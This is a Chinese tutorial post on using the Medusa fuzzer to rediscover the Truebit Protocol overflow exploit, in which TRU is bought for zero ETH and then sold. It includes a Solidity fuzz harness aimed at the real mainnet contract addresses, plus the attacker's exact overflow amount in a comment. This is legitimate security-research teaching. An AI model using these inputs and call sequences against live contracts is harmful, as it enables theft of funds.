当前位置: 首页 > news >正文

Medusa - 智能合约 Fuzzing 工具 Truebit Protocol 案例讲解(二)

案例背景

20260109,ETH 链上的 Truebit Protocol 遭受了黑客攻击,损失约 2600 万美元。漏洞原因是计算购买 TRU 代币所需要的 ETH 数量的计算公式设计存在缺陷,购买大量 TRU 代币时会因为 0.6.10 版本没有防溢出机制而发生上溢出得到 0 值,使得攻击者可以以 0 ETH 购买大量的 TRU 代币,最后抛售完成获利。

前置内容-完整攻击分析:https://www.cnblogs.com/ACaiGarden/p/19465686

  • TX:https://app.blocksec.com/explorer/tx/eth/0xcd4755645595094a8ab984d0db7e3b4aabde72a5c87c4f176a030629c47fb014

Trace 分析

image

  1. 黑客调用 buyTRU() 函数以零成本购入大量的 TRU 代币
  2. 然后调用 sellTRU() 函数卖出所有 TRU 代币完成获利
    随后攻击者利用漏洞以零或极低成本的价格购买 TRU 代币后出售的流程重复多次。

Medusa 配置

首先参考《Medusa - 智能合约 Fuzzing 工具介绍与案例讲解》中的内容对 Medusa 进行初始化与配置。

3. Fuzz 函数挑选与实现

Fuzz 函数挑选

在编写 fuzz 函数之前,首先要挑选需要对哪些函数进行 fuzz,可以按照以下的条件进行筛选:

  • public 或 external 的函数
  • 非 view 和 prue 的函数
  • 没有权限访问控制的函数
  • 非一次性调用的函数(如 initialize)
    其中满足以上条件的函数有
- `0xa0296215(uint256)`(购买/铸造路径:依赖 `msg.value` 与定价计算,容易出现边界值/除零/舍入问题)
- `0xc471b10b(uint256)`(赎回/燃烧路径:依赖 `allowance`、`transferFrom`、对外部合约调用与 ETH 转账,容易出现重入/资金守恒/状态不一致问题)
- `0xdb5c0f79()`(`payable` 增加储备:fuzz `msg.value` 与多次调用组合)

Fuzz 函数实现

在 TRUVulnerabilityFuzz 合约中,实现了对 0xa0296215(buyTRU(uint256 amount))0xc471b10b(sellTRU(uint256 amount)) 两个未开源函数的 fuzz,以及一个检查函数 property_checkBalance()

  • 0xa0296215(buyTRU(uint256 amount):需要调用 getPurchasePrice 函数(反编译的时候提供了函数名)计算对应的 msg.value ,伴随函数调用传入。
  • 0xc471b10b(sellTRU(uint256 amount)) :直接提供卖出的 TRU 代币数量,需要实现 receive 函数接收返回的 ETH 代币。但是在 fuzz 过程中 Medusa 会尝试往 receive 函数中转账,所以要添加权限控制。
  • property 函数则检查了合约的余额(初始值为 1e28)经过 sequence 操作后是否增加,如果增加则判断发现了获利的途径。
contract TRUVulnerabilityFuzz is Test {IStdCheats cheats = IStdCheats(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);address public TruebitProtocol = 0x764C64b2A09b09Acb100B80d8c505Aa6a0302EF2;address TRU = 0xf65B5C5104c4faFD4b709d9D60a185eAE063276c;constructor() payable {cheats.deal(address(this), 1e28);IERC20(TRU).approve(TruebitProtocol, type(uint256).max);}// fuzz buyTRU(uint256 amount)function fuzz_0xa0296215(uint256 fuzz_amount) public {// TruebitProtocol will check msg.value == getPurchasePrice(fuzz_amount) in 0xa0296215().// fuzz_amount = 240442509453545333947284131;   // Amount used by hackeruint256 ethAmount = ITruebitProtocol(TruebitProtocol).getPurchasePrice(fuzz_amount);if (ethAmount > address(this).balance) return;(bool ok,) = TruebitProtocol.call{value: ethAmount}(abi.encodeWithSelector(bytes4(0xa0296215), fuzz_amount));require(ok, "Failed to call 0xa0296215");}// fuzz sellTRU(uint256 amount)function fuzz_0xc471b10b(uint256 fuzz_amount) public {// 0xc471b10b() is nonPayable(bool ok,) = TruebitProtocol.call(abi.encodeWithSelector(bytes4(0xc471b10b), fuzz_amount));require(ok, "Failed to call 0xc471b10b");}// function fuzz_0xdb5c0f79(uint256 fuzz_value) public {//     fuzz_value = fuzz_value > address(this).balance ? address(this).balance : fuzz_value;//     (bool ok,) = TruebitProtocol.call{value: fuzz_value}(abi.encodeWithSelector(bytes4(0xdb5c0f79)));//     require(ok, "Failed to call 0xdb5c0f79");// }function property_checkBalance() external view returns (bool) {if (address(this).balance > 1e28) assert(false);return true;}// While fuzzing, the fuzzer will send ETH to the contract.receive() external payable {if (msg.sender != TruebitProtocol) revert();}
}

0xa0296215(buyTRU(uint256 amount)

在编写 fuzz 函数的时候,需要关注反编译代码中的 require 函数,尽可能地使得输入的参数满足函数要求,是能够正常执行的,这样会大幅提高命中的概率。比如在 0xa0296215 函数中,需要检查 msg.value 是否和计算的到的 v0 一致,而函数 0x1446 就是一个价格计算函数。

image

所以在实现 fuzz 函数的时候,需要先通过 getPurchasePrice(0x1446)计算所需要传入的 msg.value,然后再进行调用。

    // fuzz buyTRU(uint256 amount)function fuzz_0xa0296215(uint256 fuzz_amount) public {// TruebitProtocol will check msg.value == getPurchasePrice(fuzz_amount) in 0xa0296215().// fuzz_amount = 240442509453545333947284131;   // Amount used by hackeruint256 ethAmount = ITruebitProtocol(TruebitProtocol).getPurchasePrice(fuzz_amount);if (ethAmount > address(this).balance) return;(bool ok,) = TruebitProtocol.call{value: ethAmount}(abi.encodeWithSelector(bytes4(0xa0296215), fuzz_amount));require(ok, "Failed to call 0xa0296215");}

0xc471b10b(sellTRU(uint256 amount))

在编写 0xc471b10b 对应的 fuzz 函数时,检查反编译的内容,需要留意的是 nonPayable 修饰器,还有对授权额度的检查。

image

所以在 constructor 对代币进行了最大额度的授权,然后 call 函数避免带有 msg.value。

constructor() payable {cheats.deal(address(this), 1e28);IERC20(TRU).approve(TruebitProtocol, type(uint256).max);
}
// fuzz sellTRU(uint256 amount)
function fuzz_0xc471b10b(uint256 fuzz_amount) public {// 0xc471b10b() is nonPayable(bool ok,) = TruebitProtocol.call(abi.encodeWithSelector(bytes4(0xc471b10b), fuzz_amount));require(ok, "Failed to call 0xc471b10b");
}

结果分析

由于机器硬件与时间的限制,未能实际 fuzz 出结果

为了验证 fuzz 函数写的时没有问题的,尝试硬编码 fuzz_amount 为攻击者所采用的参数,可以马上得到结果。

image

显示 fuzz 出来满足条件的 sequence 路径如下,和攻击者执行的操作一致。

image

通过本案例是实践,得到的结论是,Fuzz 工程除了需要开发者非常了解目标协议,尽可能地编写出高效的测试函数,还需要高性能的机器来提供支撑。相信通过这两个入门级的案例,也能够让读者了解到,fuzz 并不是什么“灵丹妙药”。虽然它在实际应用中有着一些局限,但是在经验丰富的开发者和强大的机器支持下,仍然是一个挖掘未知漏洞的可行之法。

http://www.jsqmd.com/news/331089/

相关文章:

  • 嘎嘎降AI和笔灵AI降AI哪个好?花了200块实测对比结果意外
  • 为什么逻辑重构降AI效果最好?嘎嘎降AI双引擎原理解析
  • PKUKY109 小白鼠排队
  • 2026毕业论文AI率30%红线怎么破?嘎嘎降AI帮你降到20%以下
  • 嘎嘎降AI怎么用?从注册到降AI完成的完整教程
  • 2026年分水器厂家推荐排行榜:地暖分水器、铜制分水器、全屋分路器,高效控温与耐用品质的源头精选
  • 2026年降AI率工具怎么选?实测5款后嘎嘎降AI效果最稳
  • 【数据分析:开篇词】技能决定下限,思维决定上限
  • 嘎嘎降AI和笔灵AI哪个好?花了3小时实测对比结果意外
  • 2026年毕业论文AI率30%红线怎么破?嘎嘎降AI帮你稳过
  • 豆包降AI不彻底?试试嘎嘎降AI的9大平台验证功能
  • 我的错题矩阵题
  • 为什么用了降AI工具还是不通过?嘎嘎降AI双引擎原理解析
  • 2026年降AI工具红黑榜:嘎嘎降AI凭什么排第一梯队?
  • 2026年 液冷板/水冷板厂家推荐排行榜:高效散热与精密工艺,工业级热管理解决方案优选
  • 知网AIGC检测总不通过?用嘎嘎降AI双引擎5分钟搞定
  • 3款降AI工具实测对比:嘎嘎降AI vs 笔灵AI vs 零感AI哪个好
  • 2026年DeepSeek写的论文AI率98%怎么办?嘎嘎降AI一键搞定
  • 嘎嘎降AI和笔灵AI哪个好?花了200块测完结果意外
  • 前端测试(一)Web基础
  • 2026年知网AIGC检测不通过?嘎嘎降AI实测3招降到10%以下
  • 2026年 阀门厂家推荐排行榜:黄铜阀门、铸铁阀门、不锈钢阀门、暖通阀门、消防阀门,匠心工艺与可靠品质的工业之选
  • 2026年 电动阀厂家推荐排行榜,电动二通阀,电动迷你球阀,电动阀断电复位,精准控制与稳定耐用品牌精选
  • 递归解密:汉诺塔算法精解
  • 深入解析RPC核心原理
  • SSM计算机毕设之基于SSM的作业管理系统教学系统作业批改管理系统(完整前后端代码+说明文档+LW,调试定制等)
  • 2026年知网AIGC检测算法升级后怎么降AI?实测这招最有效
  • SSM计算机毕设之基于SSM的专业课程教学过程管理系统基于SSM框架的教务管理系统(完整前后端代码+说明文档+LW,调试定制等)
  • C++模板进阶:解锁泛型编程魔力
  • Spring boot读书笔记一如何在Vault中创立secret